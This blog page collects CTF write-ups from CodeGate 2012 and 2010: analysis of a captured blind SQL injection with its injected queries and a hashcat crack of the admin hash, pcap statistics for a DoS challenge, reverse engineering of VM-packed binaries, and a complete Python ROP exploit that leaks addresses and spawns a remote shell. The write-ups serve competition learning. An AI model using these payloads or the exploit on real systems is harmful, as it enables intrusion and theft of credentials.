CodeGate 2012 Quals – Network 400
March 1, 2012 by pdah · Leave a Comment
Challenge
Because of vulnerability of site in Company A, database which contains user’s information was leaked. The file is dumped packet at the moment of attacking.
Find the administrator’s account information which was leaked from the site.
For reference, some parts of the packet was blind to XXXX.Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))
(’|'is just a character)
http://repo.shell-storm.org/CTF/CodeGate-2012/Network400/80924D4296FCBE81EA5F09CF60542AE7
Summary
Given a pcap file (again) captured from an attack, we need to find information about database name, table name, administrator’s password in plaintext.
This challenge requires basic network analysis skill, some knowledge of Blind SQL Injection and password recovery tools.
Solution
Browsing the pcap file using wireshark, this is obviously a Blind SQL Injection attack.
GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1 Accept-Encoding: identity Accept-Language: en-us,en;q=0.5 Host: www.cdgate.xxx Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close HTTP/1.1 200 OK Date: Wed, 22 Feb 2012 09:01:54 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-2ubuntu4.1 Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1 Accept-Encoding: identity Accept-Language: en-us,en;q=0.5 Host: www.cdgate.xxx Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: close HTTP/1.1 200 OK Date: Wed, 22 Feb 2012 09:01:54 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-2ubuntu4.1 Vary: Accept-Encoding Content-Length: 4 Connection: close Content-Type: text/html
Some first requests are just for checking the responses of server to some random injected queries. We can easily notice that if the expressions in injected queries return False, HTTP response will have “Content-Length: 0”, otherwise the expressions return True. Another thing is that all the attacking queries had the same pattern of … [EXPRESSION] > [VALUE] … As the operators were all ‘>’, for each [EXPRESSION] we only need to catch the last [VALUE] of ‘False’ responses.
We created a python script to parse this pcap file:
import sys
from scapy.all import *
import urllib, string
packets = rdpcap("network400")
len_packets = len(packets)
l1 = []
l2 = []
i = 0
while i < len_packets:
if 'Raw' in packets[i] and packets[i].payload.dst == '192.168.1.41':
l1.append(urllib.unquote(str(packets[i]['Raw']).split("\r")[0]))
while True:
i+=1
if 'Raw' in packets[i]:
if packets[i].payload.dst == '192.168.1.8':
content = str(packets[i]['Raw'])
if 'Content-Length: 0' in content:
l2.append(False)
else:
l2.append(True)
break
i+=1
for i in range(len(l1)):
print l1[i]
print l2[i]
Here’s a part of the output:
…
GET /sc/id_check.php?name=music’ AND CONNECTION_ID()=CONNECTION_ID() AND ‘YOxWw’='YOxWw HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ISNULL(1/0) AND ‘wSwEm’='wSwEm HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 54 AND ‘zqAWP’='zqAWP HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 56 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 1, 1)) > 55 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 51 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 48 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT 7 FROM information_schema.TABLES LIMIT 0, 1), 2, 1)) > 1 AND ‘zqAWP’='zqAWP HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 51 AND ‘yFdDA’='yFdDA HTTP/1.1
False
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 48 AND ‘yFdDA’='yFdDA HTTP/1.1
True
GET /sc/id_check.php?name=music’ AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA), 1, 1)) > 49 AND ‘yFdDA’='yFdDA HTTP/1.1
True
…
We extended the script to print out only the leaked characters
import sys
from scapy.all import *
import urllib
packets = rdpcap("network400")
len_packets = len(packets)
cur_s = None
last_false_value = None
result = ""
i=0
while i < len_packets:
if ('Raw' in packets[i]) and (packets[i].payload.dst == '192.168.1.41'):
query = urllib.unquote(str(packets[i]['Raw']).split("\r")[0])
if ">" in query:
s,v = query.split(">")
v=chr(int(v.strip().split(" ")[0]))
if cur_s != s and last_false_value != None:
result+= last_false_value
cur_s = s
else:
v = None
while True:
i+=1
if 'Raw' in packets[i]:
if packets[i].payload.dst == '192.168.1.8':
content = str(packets[i]['Raw'])
if 'Content-Length: 0' in content:
last_false_value = v
break
i+=1
print result
The output looks better (but lack of information about queries):
2 information_schema cdgate 17 CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS 1 member 3 cdgate 6 name id email sex level passwd 11 monitor@cdgate.xxx 08b5411f848a2581a41672a759c87380 2 monitor *1763CA06A6BF4E96A671D674E855043A9C7886B2 f apple@cdgate.xxx apple 3 apple *C5404E97FF933A91C48743E0C4063B2774F052DD m music@cdgate.xxx music 6 music *DBA29A581E9689455787B273C91D77F03D7FAD5B m computer@cdgate.xxx computer 2 computer *8E4ADF66627261AC0DE1733F55C7A0B72EC113FB f com@cdgate.xxx com 3 com *FDDA9468184E298A054803261A4753FF4657E889 f lyco@cdgate.xxx lynco 4 *EEFD19E63FA33259154630DE24A2B17772FAC630 *0ECBFBFE8116C7612A537E558FB7BE1293576B78 f mouse@cdgate.xxx mouse 4 *87A5750BB01F1E52060CF8EC90FB1344B1D413AA *6FF638106693EF27772523B0D5C9BFAF4DD292F1 m root@cdgate.xxx root 6 root *300102BEB9E4DABEB8BD60BB9BB6686A6272C787 f desktop@cdgate.xxx desktop 1 desktop *DDD9B83818DB7B634C88AD49396F54BD0DE31677 f www@cdgate.xxx 4eae35f1b35977a00ebd8086c259d4c9 8 www *3E8563E916A490A13918AF7385B8FF865C221039 f notebook@cdgate.xxx notebook 8 fb5d1b4a2312e239652b13a24ed9a74f *18DF7FA3EE218ACB28E69AF1D643091052A95887 m
By combining outputs of these 2 scripts we could see that database is cdgate and table name is member. These information were followed by a number of member records, the value for each record were in order of email, id, level, name, password, sex. There was only one user desktop@cdgate.xxx with level=1, the password was hashed hence we let hashcat do the rest:
$ echo DDD9B83818DB7B634C88AD49396F54BD0DE31677 > hash $ ./hashcat-cli64.bin -m300 -a3 --bf-cs-buf=abcdefghijklmnopqrstuvwxyz0123456789 hash outdir ................ Charset...: abcdefghijklmnopqrstuvwxyz0123456789 Length....: 6 Index.....: 0/1 (segment), 2176782336 (words), 0 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: - plains, 13.99M words Progress..: 1360425204/2176782336 (62.50%) Running...: 00:00:01:37 Estimated.: 00:00:00:58 ddd9b83818db7b634c88ad49396f54bd0de31677:etagcd All hashes have been recovered
Bingo! The password is etagcd, it’s time to build the flag:
>>> hashlib.md5('cdgate|member|etagcd').hexdigest().upper();
'AB6FCA7FFC88710CFBC37D5DF9A25F3F'
Codegate 2012 Quals – Network 200
March 1, 2012 by pdah · Leave a Comment
Challenge
To whom it may concern to DoS attack.
What is the different between attack and normal traffic?
Attached PCAP file is from suspicious client PC which may be infected.
If you find TOP 4 targeting address, let me know exactly information such as below.
Answer:
COUNTRY_NAME_TOP1(3)COUNTRY_NAME_TOP2(13)COUNTRY_NAME_TOP3(2)COUNTRY_NAME_TOP4(5)_1.1.1.1_2.2.2.2_3.3.3.3_4.4.4.4
http://repo.shell-storm.org/CTF/CodeGate-2012/Network200/A565CF2670A7D77603136B69BF93EA45
Summary
Given a pcap file, our task is to find top 4 targeting addresses of a DoS attack. This challenge requires network analysis skill with some experiences of DoS attack.
Solution
We wrote a small python script to generate the statistics of packets:
from scapy.all import *
import operator
packets = rdpcap("network200")
stats = {}
for packet in packets:
try:
dst = packet.payload.dst
if dst not in stats: stats[dst] = 0
stats[dst] += 1
except:
pass
for k,v in sorted(stats.iteritems(), key=operator.itemgetter(1))[::-1]:
print k,v
Here’s a part of output:
111.221.70.11 52620
1.2.3.4 12670
109.123.118.42 2960
174.35.40.44 637
220.73.139.203 452
123.214.170.56 375
199.7.48.190 311
220.73.139.201 280
8.8.8.8 248
74.125.71.94 208
208.46.163.42 186
175.158.10.55 146
174.35.40.43 145
74.125.71.120 120
74.125.71.104 116
69.171.234.16 103
66.150.14.48 99
61.110.213.19 94
184.28.147.55 84
174.35.40.45 82
110.45.229.135 82
199.59.149.232 79
61.106.27.72 77
184.169.76.33 68
74.125.71.157 62
211.174.53.236 56
174.35.40.6 55
208.94.0.38 54
…
Then we checked one by one from the top of our list using WireShark:
- 111.221.70.11 is obviously under SYN flood attack.
- 109.123.118.42 is flooded by HTTP GET requests.
- 199.7.48.190 is under RUDY attack (POST requests with very large Content-Length).
- 66.150.14.48 has some abnormal HTTP Requests.
Using ip2location.com, we got the country names in respective order:
- Singapore
- United Kingdom
- United States
- United States
FLAG: none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48
CodeGate 2012 Quals bin400 writeup
February 28, 2012 by admin · Leave a Comment
Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin400
CodeGate2012 bin400
Challenge: The Rewolf in Kaspersky
Link to challenge : http://deroko.phearless.org/codegate2012/bin/bin400.zip
So Rewolf vm, is packed with something called KasperSky according toProtectionID (never heard of this packer ). Unpacking is trivial, like with any simple packer. Run to OEP, dump, fix imports:
Here is OEP for ReWolf VM:
And here is OEP for original program (note you need to dump at ReWolf VM, but importrec will work only properly if you use this OEP) :
Once we have file dumped, we might run it to get idea how it actually looks like:
Not much there :( 1st time I pressed some key while program was focused I got an exception:
At first I thought that my dump is broken, so I tried with original application, same thing happened. Hmmm so this is common problem, but challenge is definitely not broken, so we need to see what’s going on, and trace instruction per instruction in ReWolf VM.
After a little bit of tracing I noticed that exception comes after virtualized jcc is executed, because next instruction size is wrong. (From exception you can see thatecx is quite big number which it should not be):
0041D000 50 PUSH EAX <----- start of jcc opcode 0041D001 9C PUSHFD 0041D002 58 POP EAX 0041D003 53 PUSH EBX 0041D004 E8 00000000 CALL test.0041D009 0041D009 5B POP EBX 0041D00A 8D5453 08 LEA EDX,DWORD PTR DS:[EBX+EDX*2+8] 0041D00E 5B POP EBX 0041D00F FFE2 JMP EDX
If jcc is taked edx is set to 1, otherwise edx is 0.
0041D0DE 33D2 XOR EDX,EDX ; test.0041D023 0041D0E0 EB 04 JMP SHORT test.0041D0E6 0041D0E2 33D2 XOR EDX,EDX 0041D0E4 EB 01 JMP SHORT test.0041D0E7 0041D0E6 42 INC EDX 0041D0E7 50 PUSH EAX 0041D0E8 9D POPFD 0041D0E9 58 POP EAX
0041D4AA 5A POP EDX <---- pop EIP (jcc not taken) 0041D4AB 58 POP EAX 0041D4AC ^E9 2CFFFFFF JMP test.0041D3DD 0041D4B1 0FB657 03 MOVZX EDX,BYTE PTR DS:[EDI+3] 0041D4B5 FF7424 08 PUSH DWORD PTR SS:[ESP+8] 0041D4B9 9D POPFD 0041D4BA E8 41FBFFFF CALL test.0041D000 0041D4BF 85D2 TEST EDX,EDX 0041D4C1 ^74 E7 JE SHORT test.0041D4AA 0041D4C3 5A POP EDX 0041D4C4 0357 04 ADD EDX,DWORD PTR DS:[EDI+4] <--- increment EIP (jcc taken) 0041D4C7 034F 04 ADD ECX,DWORD PTR DS:[EDI+4] 0041D4CA 58 POP EAX 0041D4CB ^E9 5AFEFFFF JMP test.0041D32A
[edi+4] = 00000104
0041D32A 8BF2 MOV ESI,EDX 0041D32C 46 INC ESI 0041D32D 8A02 MOV AL,BYTE PTR DS:[EDX] <--- size of next instruction 0041D32F 3242 01 XOR AL,BYTE PTR DS:[EDX+1] <--- xor 1st 2 bytes to get proper sie 0041D332 0FB6C0 MOVZX EAX,AL 0041D335 50 PUSH EAX <--- size of instruction passed to memcpy 0041D336 56 PUSH ESI 0041D337 57 PUSH EDI 0041D338 E8 D8050000 CALL test.0041D915 <--- memcpy
BOOM Exception
0041DB10 25 93 97 B6 C4 C5 89 8A %“—¶ÄʼnŠ
Instruction size is calculated as 25 ^ 93 = B6 which is wrong for instruction size in this case.
At this point I decided to try and patch jcc vm handler so jcc will not be taken:
and then I typed something:
And then I just kept pressing keys:
Press OK and you get the key:
So correct key for bin400 is : WonderFul_lollol_!
Greetings
I would like to say tnx to my ARTeam mates, vnsecurity guys, and of coursesuperkhung for listening to my random blabing on skype during CTF :)
Author
deroko of ARTeam
CodeGate 2012 Quals bin500 writeup
February 28, 2012 by admin · Leave a Comment
Thanks to Deroko and some ARTeam members to play with CLGT. Below is the write up by Deroko posted on http://www.xchg.info/wiki/index.php?title=CodeGate2012_bin500
CodeGate2012 bin500
Challenge: Seeing that it is not all.
Link to challenge: http://deroko.phearless.org/codegate2012/bin/bin500.zip
This binary is double ReWolf vm, and python script for modified Olly by Immunity.
Script which comes with binary uses marshal.loads to load already compiled pyc code which was produced with marshal.dump
To get .pyc back we need to make some modification to our script:
Now C:\test.pyc will have dump of python bytecode.
If you look carefully through script, some strings might look like a clue:
readMemory getRegs EIP Nice work, Key1 : But, Find Next Key! Nice work, Key2 : Input Key : Key1 + Key2 Nothing Found ...
So this script will probably try to read from current EIP some bytes (readMemory + EIP are good hint), and make key out of it. After modifying test.pyc to have proper layout:
00000000 03 f3 0d 0a dc dd e2 4c 63 00 00 00 00 00 00 00 |.......Lc.......| 00000010 00 02 00 00 00 40 00 00 00 73 22 00 00 00 64 00 |.....@...s"...d.| 00000020 00 64 01 00 6c 00 00 5a 00 00 64 02 00 84 00 00 |.d..l..Z..d.....|
Which is actually 4 bytes for python signature + 4 bytes for timestamp +marshal.dump() data we get .pyc file which we can decompile.
For sake of this solution, we will use some simple program to dump python byte-code, and one I found here:http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
After disassembling binary with this python script we get (I cut not important parts):
15 LOAD_ATTR 2 (readMemory) 18 LOAD_CONST 1 (4237456) 21 LOAD_CONST 2 (80) 24 CALL_FUNCTION 2
So from address 40A890 it will read 80 bytes and keep it in internal buffer.
Now comes interesting part when it actually gets keys:
19 54 LOAD_FAST 4 (regs) 57 LOAD_CONST 3 ('EIP') 60 BINARY_SUBSCR 61 LOAD_CONST 4 (4273157) 64 COMPARE_OP 2 (==) 67 POP_JUMP_IF_FALSE 161
and
23 >> 161 LOAD_FAST 4 (regs) 164 LOAD_CONST 3 ('EIP') 167 BINARY_SUBSCR 168 LOAD_CONST 15 (4278021) 171 COMPARE_OP 2 (==) 174 POP_JUMP_IF_FALSE 276
If you look at out.txt (in attachment) you may also see what’s read from where as this python script is not complicated, and python byte code is quite easy to understand.
So just set EIP to be 413405 and run script, and you will get 1st key. Then set EIP to be 414705 and run scrip again. If you did, everything correct you should see in Log of Immunity Debugger this:
So final key is Never_up_N3v3r_1n
Greetings
I would like to say tnx to my ARTeam mates, vnsecurity guys, and rd , and of course to superkhung for listening to my random blabing on skype during CTF :)
Author
deroko of ARTeam
Return-oriented-programming practice: exploiting CodeGate 2010 Challenge 5
April 18, 2010 by longld · 4 Comments
In my previous post about CodeGate 2010 Challenge 5 exploit, I mentioned the weakness of accessing server to get execl() address. In this post I will show how to blindly exploit the “harder” program without access to the remote server using return-oriented-programming technique.
ROP introduction
A worth to read post about ROP introduction can be found on Zynamics blog: http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/
In summary: we will use return-into-instructions (called gadgets) to build and execute our payload when controlled EIP and ESP from vulnerable program.
ROP limitations (difficulties):
- ASLR: the same as return-into-libc, it’s difficult to locate address of instructions in library (e.g libc)
- ASCII-armor address: with ascii-armor remapping of libraries (e.g libc), addresses will contain NULL byte so chaining return-into-libc calls and ROP is impossible if there’s NULL filter in input
The “harder” case
Fortunately, we can blindly exploit the “harder” program using ROP because it provides some “advantages” in code:
- getline(): can pass NULL byte to input
- printf(): can leak runtime memory info (bypass ASLR)
Finding ROP gadgets
Our target is to invoke execve(”/bin/sh”, 0, 0) syscall, which is equivalent to prepare registers’ value then trigger kernel syscall:
eax = 0xb // execve
ebx = address of “/bin/sh”
ecx = 0 // argv
edx = 0 // env
Searching in harder binary, we found below gadgets:
- eax:
80483a4: 58 pop %eax 80483a5: 5b pop %ebx 80483a6: c9 leave 80483a7: c3 ret
- ebx & ecx:
8048634: 59 pop %ecx 8048635: 5b pop %ebx 8048636: c9 leave 8048637: c3 ret
“/bin/sh” is placed on target buffer, its address is available by leaking via printf()
- edx:
There’s no edx related gadget but observing that when returned from memcpy() edx’s value is set to esi so we can assign esi to 0×0 first then return again to main to nullify edx.0x001ba506 : mov edx,esi 80485e6: 5e pop %esi 80485e7: 5f pop %edi 80485e8: 5d pop %ebp 80485e9: c3 ret
- syscall:
In recent Linux kernel, syscall is usually performed via linux gate: call gs:[0x10]. By return to back to printf() in harder program many times, we can find the offset from getline() to first syscall is 319 bytes.
- moving stack:
After “leave; ret” our stack will be moved to new location pointing by ebp. We can control this by set ebp back to somewhere in the middle of target buffer.
Exploit code
#!/usr/bin/env python
import socket
import sys
import struct
import telnetlib
#host = 'ctf4.codegate.org'
host = '127.0.0.1'
port = 9005
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
buf=""
# bypass first read
buf = c.recv(1024)
# getline() address
buf = "A"*268 + struct.pack('i', 0x08048524) + struct.pack('i', 0x0804a008) + "\n"
c.send(buf)
buf = c.recv(1024)
addr = ""
getline_addr = int(buf[:4][::-1].encode('hex'), 16)
print "getline() is at:", hex(getline_addr)
# call gs:[0x10] address
offset = 319 # first offset is 319 bytes from getline()
syscall_addr = getline_addr + offset
# buffer address
buf = "%7$x" + "\x00"*260 + struct.pack('i', 0x08048521)*2 + "\n"
c.send(buf)
buf = c.recv(1024)
input_addr = int(buf[:8], 16)
print "Buffer address is at: ", hex(input_addr)
# gadgets address
pop_eax = 0x080483a4
pop_ecx_ebx = 0x08048634
pop_esi = 0x080485e6
# pop esi
buf = "A"*268 + struct.pack('i', pop_esi) + "\x00" * 12 + struct.pack('i', 0x08048524)*2 + "\n"
c.send(buf)
c.recv(1024)
# pop eax then move stack to new address
input_addr += 560 # lifting after 2 getline() calls
new_stack = input_addr+8
buf = "/bin/sh\x00" # /bin/sh
buf += struct.pack('i', new_stack+16) # next ebp after leave from pop_eax
buf += struct.pack('i', pop_ecx_ebx) # next is pop_ecx_ebx
buf += "\x00"*4 # ecx
buf += struct.pack('i', input_addr) # ebx -> /bin/sh
buf += "A"*4 # un-used ebp after leave from pop_ecx_ebx
buf += struct.pack('i', syscall_addr)
buf = buf.ljust(264, "A") # padding
buf += struct.pack('i', new_stack) # new ebp
buf += struct.pack('i', pop_eax)
buf += "\x0b\x00\x00\x00" # execve syscal
buf += "A"*4 # un-used ebx
buf += "\n"
print "Sending final payload ..."
c.send(buf)
c.send("id 2>&1" + "\n"*5)
t = telnetlib.Telnet()
t.sock = c
t.interact()
c.close()











